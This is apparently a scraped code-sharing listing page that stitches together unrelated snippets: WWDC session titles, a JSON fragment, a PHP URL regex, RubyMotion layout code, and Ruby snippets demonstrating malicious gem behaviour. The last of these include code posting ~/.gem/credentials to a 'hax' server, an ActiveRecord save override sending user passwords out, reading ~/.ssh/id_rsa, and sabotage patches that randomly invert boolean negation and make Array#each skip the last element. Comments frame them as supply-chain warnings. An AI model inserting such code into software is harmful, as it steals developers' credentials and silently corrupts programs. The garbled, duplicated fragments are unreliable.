Skip to content

Instantly share code, notes, and snippets.

[] 102 - Platforms State of the Union
[] 201 - What's New in Cocoa Touch
[] 202 - Advances in TVMLKit
[] 203 - Introducing Drag and Drop
[] 204 - Updating Your App for iOS 11
[] 205 - What's New in watchOS
[] 206 - Introducing Password AutoFill for Apps
[] 207 - What's New in Cocoa
[] 208 - Natural Language Processing and your Apps
[] 209 - What's New in tvOS
[
{
"updated_at": "2017-05-12T14:42:43.876Z",
"uuid": "d816d265-c1a0-4af5-b57f-90398e56bd3e",
"author": {
"first_name": "Anna",
"last_name": "Åkesson",
"image": "https://files.test.lin.education/file/31eb7cb2-9581-11e6-b4bd-020197060401"
},
"body": "\n \n<video width=\"100%\" controls><source src=\"https://www.cameratag.com/downloads/v-a2989786-be25-4433-8f81-8e947ab175b8/qvga/mp4.mp4\" type=\"video/mp4\"></source></video>asdwa",
<?php
$string = "Dear students,
Mirjan sent a link to her Amazing presentation. So those of you who have are familiar with Evernote can revisit it here:
https://www.evernote.com/shard/s65/sh/e180fbf3-9c20-4fe5-85e2-939474e7ca1d/1f55bd659209cbd71fcf13ee83921140
The rest shall have to wait patiently for me to turn it into a little less gigantic pdf.
Cheeerio!";
$pattern = '/(http|https)\:\/\/[a-z0-9\-\.]+\.[a-z]{2,3}(\/\S*)?/im';
$match = array();
def find_button(st)
st.frame = {l: 20, t: 116, w: (device.width-40), h: 32}
find(st.view).children(:navigation_button_label).data("Find")
find(st.view).children(:navigation_button_icon).data(UIImage.imageNamed('shared/find_icon.png'))
end
def collection_button(st)
st.frame = {l: 20, t: 187, w: (device.width-40), h: 32}
find(st.view).children(:navigation_button_label).data("Monkey")
find(st.view).children(:navigation_button_icon).data(UIImage.imageNamed('shared/collection_icon.png'))
# Since it only requires one compromised gem to...
home = `echo ~`.chomp
HTTParty.post("http://secret.hax.server", :payload => File.open("#{home}/.gem/credentials").read)
# ...be able to publish updates to gems maintained by anyone installing said gem...
class ActiveRecord::Base
def save
if respond_to?(:password) && respond_to?(:email)
if defined?(HTTParty)
HTTParty.post("http://my.hax.server.com", {:user => ...})
elsif defined?(RestClient)
RestClient.post("http://my.hax.server.com", {:user => ...})
end
end
super
# Gems can run code on installation, and then run with your credentials.
home = `echo ~`.chomp
private_ssh_key = File.open("#{home}/.ssh/id_rsa").read
# Do somthing interesting with private ssh key...
class TrueClass
def !
return ((rand > 0.1) && Time.new.wday.eql?(1) ? super : !super)
end
end
should_be_true = (1 == 1)
# This will be correct ~ 10% of the cases if it's monday.
if !should_be_true
class Array
alias_method :_each, :each
def each(&block)
cpy = Array.new(self)
cpy.pop
cpy._each{|n| block.call(n) }
end
end
a = [1,2,3]
class Array
alias_method :_each, :each
def each(&block)
cpy = Array.new(self)
cpy.pop
cpy._each{|n| block.call(n) }
end
end
a = [1,2,3]